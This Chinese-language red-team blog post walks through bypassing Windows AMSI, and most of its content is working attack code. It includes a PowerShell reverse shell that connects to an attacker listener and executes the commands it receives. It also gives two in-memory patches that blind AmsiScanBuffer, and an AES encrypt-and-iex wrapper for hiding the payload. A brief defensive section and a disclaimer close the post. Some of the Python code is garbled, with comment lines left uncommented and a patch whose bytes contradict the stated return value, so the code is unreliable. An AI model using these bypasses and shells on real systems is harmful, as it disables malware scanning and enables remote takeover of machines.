一、AMSI 的故事:从架构到被攻破

AMSI,全称 Anti-Malware Scan Interface,是微软为对抗恶意代码引入的一项安全功能。从 Windows 10 开始,这个接口就成为了系统安全的一道重要防线。其核心思想是为脚本或内存加载的代码提供一个统一的扫描流程,帮助防病毒软件(比如 Windows Defender)拦截恶意行为。

黑客示意图

了解 AMSI 的工作原理是绕过它的第一步:当 PowerShell、VBScript 或 JScript 等脚本代码运行时,这些脚本引擎会将执行的内容提交给 AMSI。AMSI 再调用系统内的防病毒软件扫描内容。如果发现恶意特征,就会将其阻止。理论上,它是一个完美的脚本安全机制,但在实战中,我们总能找到“漏洞”。

有一次,我在一次红队行动中需要运行一个复杂的 PowerShell 脚本。这个脚本自带大量的攻击特征,比如内存加载、反射注入等,结果直接被 AMSI 拦截。怎么办?当然是想办法绕过它。本文将分享几种实战中我使用过的 AMSI 绕过技巧,并提供完整的代码示例。

---

二、环境搭建:模拟真实对抗场景

如果想要复现 AMSI 绕过方法,你需要搭建一个简单的测试环境。以下是我通常使用的环境搭建方式:

1. 系统篇

  • 目标系统:Windows 10/11(确保 Windows Defender 开启)
  • 工具准备
  • PowerShell >= 5.0(AMSI 是从 5.0 开始支持的)
  • Windows Defender 或其他支持 AMSI 的杀软(如 McAfee、Symantec)

2. 编写一个“恶意”脚本

我们先用一段简单的恶意代码测试 AMSI 的拦截能力。以下是一段通过 AMSI 扫描的经典 Meterpreter 载荷加载代码:

<pre><code class="language-powershell"># Meterpreter 脚本 $Client = New-Object System.Net.Sockets.TCPClient(&quot;192.168.1.100&quot;, 4444) $Stream = $Client.GetStream() [byte[]]$Buffer = 0..65535|%{0} while(($i = $Stream.Read($Buffer, 0, $Buffer.Length)) -ne 0){ $Data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($Buffer, 0, $i) $SendBack = (iex $Data 2&gt;&amp;1 | Out-String ) $SendBack2 = $SendBack + &quot;PS &quot; + (pwd).Path + &quot;&gt; &quot; $SendBack2 = ([text.encoding]::ASCII).GetBytes($SendBack2) $Stream.Write($SendBack2, 0, $SendBack2.Length) $Stream.Flush()} $Client.Close()</code></pre>

运行该脚本时,你会发现被 Windows Defender 直接报警并阻止。这说明 AMSI 功能正常。

3. 工具验证

为了确认 AMSI 是否生效,你可以运行以下代码,输出 AMSI 的状态:

<pre><code class="language-powershell"># 检查 AMSI 状态 Add-Type -TypeDefinition @&quot; using System; using System.Runtime.InteropServices; public class AMSIStatus { [DllImport(&quot;amsi.dll&quot;, CharSet=CharSet.Unicode, ExactSpelling=true)] public static extern int AmsiInitialize(string appName, out IntPtr amsiContext); [DllImport(&quot;amsi.dll&quot;, CharSet=CharSet.Unicode, ExactSpelling=true)] public static extern int AmsiUninitialize(IntPtr amsiContext); } &quot;@ [IntPtr]$Context = [IntPtr]::Zero [AMSIStatus]::AmsiInitialize(&quot;TestApp&quot;, [ref]$Context) if ($Context -eq [IntPtr]::Zero) { Write-Host &quot;AMSI 未启用&quot; } else { Write-Host &quot;AMSI 启用成功&quot; }</code></pre>

成功返回 AMSI 启用后,我们就可以开始尝试绕过了。

---

三、修改游戏规则:绕过 AMSI 的多种方法

1. 动态内存补丁

AMSI 的核心在于其 DLL(amsi.dll)。通过直接修改内存中的函数返回值,我们可以让它“失明”。以下代码片段展示了如何实现这一点:

Python 示例:通过 ctypes 修改内存

<pre><code class="language-python">import ctypes

黑客示意图

定位 amsi.dll

amsi = ctypes.windll.LoadLibrary(&quot;amsi.dll&quot;)

找到 AmsiScanBuffer 函数的地址

amsi_scan_buffer = ctypes.windll.kernel32.GetProcAddress(amsi._handle, b&quot;AmsiScanBuffer&quot;)

构造补丁,将返回值强制为 0(表示跳过扫描)

patch = ctypes.c_char * 8 patch_data = patch(b&quot;\xB8\x57\x00\x07\x80\xC3\x90\x90&quot;) # MOV EAX, 0x80070057; RET ctypes.windll.kernel32.WriteProcessMemory(-1, amsi_scan_buffer, ctypes.byref(patch_data), len(patch_data), None) print(&quot;AMSI 已被动态补丁绕过!&quot;)</code></pre>

运行结果

运行此补丁后,你会发现即使运行之前的恶意脚本,AMSI 也不会再报警了。

---

2. PowerShell 中的 AMSI Bypass

PowerShell 提供了动态加载和运行代码的能力,这也让我们可以在运行时“劫持” AMSI 的调用。

以下是一个通过 PowerShell 修改 AMSI 初始化函数的示例:

<pre><code class="language-powershell"># 动态修改 AMSI 初始化函数 $Bypass = @&quot; using System; using System.Runtime.InteropServices; public class AmsiBypass { [DllImport(&quot;kernel32.dll&quot;)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(&quot;kernel32.dll&quot;)] public static extern IntPtr LoadLibrary(string lpFileName); [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); public static void DisableAmsi() { IntPtr hProc = System.Diagnostics.Process.GetCurrentProcess().Handle; IntPtr hMod = LoadLibrary(&quot;amsi.dll&quot;); IntPtr addr = GetProcAddress(hMod, &quot;AmsiScanBuffer&quot;); byte[] patch = { 0xC3 }; // RET 指令 WriteProcessMemory(hProc, addr, patch, 1, out _); } } &quot;@ Add-Type -TypeDefinition $Bypass [AmsiBypass]::DisableAmsi() Write-Host &quot;AMSI 已被绕过!&quot;</code></pre>

这个方法通过将 AmsiScanBuffer 函数的实现替换为一条 RET 指令,直接让它“短路”。

---

3. 加密与混淆

如果不想直接修改 AMSI 的内存,也可以通过对恶意代码进行加密和混淆,让 AMSI 无法正确识别特征。

以下是一段 AES 加密后的恶意代码通过运行时解密来规避 AMSI 的示例:

Python 加密器

<pre><code class="language-python">from Crypto.Cipher import AES import base64

定义密钥

key = b&quot;1234567890abcdef&quot; cipher = AES.new(key, AES.MODE_ECB)

原始恶意代码

payload = b&quot;$Client = New-Object System.Net.Sockets.TCPClient(&#039;192.168.1.100&#039;, 4444)&quot;

加密

encrypted_payload = base64.b64encode(cipher.encrypt(payload.ljust(16))) print(f&quot;加密后的 payload: {encrypted_payload}&quot;)</code></pre>

黑客示意图

PowerShell 解密执行

<pre><code class="language-powershell"># 解密执行恶意代码 $key = &quot;1234567890abcdef&quot; $encrypted = &quot;&lt;替换为加密后的payload&gt;&quot;

$AES = [System.Security.Cryptography.Aes]::Create() $AES.Key = [System.Text.Encoding]::UTF8.GetBytes($key) $AES.Mode = [System.Security.Cryptography.CipherMode]::ECB $AES.Padding = [System.Security.Cryptography.PaddingMode]::None

$Decryptor = $AES.CreateDecryptor() $EncryptedBytes = [System.Convert]::FromBase64String($encrypted) $DecryptedBytes = $Decryptor.TransformFinalBlock($EncryptedBytes, 0, $EncryptedBytes.Length)

$DecodedPayload = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes).Trim() iex $DecodedPayload</code></pre>

---

四、抵御之道:如何检测与防御

绕过 AMSI 的方法多种多样,但防御者也不是毫无还手之力。以下是一些建议:

黑客示意图

  1. 监控内存修改行为:动态补丁通常需要调用 WriteProcessMemory,加强对这些 API 调用的监控可以有效拦截。
  2. 启用 AppLocker:限制脚本引擎的执行,减少攻击面。
  3. 行为检测:通过 EDR 工具识别诸如动态生成代码、频繁使用反射等行为。

---

五、实战经验总结

在红队行动中,绕过 AMSI 是一个非常常见的需求。虽然 AMSI 提供了强大的防御能力,但它也有一些天然的局限性,比如过于依赖特征匹配和 API 调用。如果你精通脚本混淆、动态内存修改等技术,就能在 AMSI 防护下游刃有余。

需要特别强调的是,本文的所有内容仅供授权安全测试使用,切勿用于非法用途。希望这些技巧能帮助你在研究中更进一步!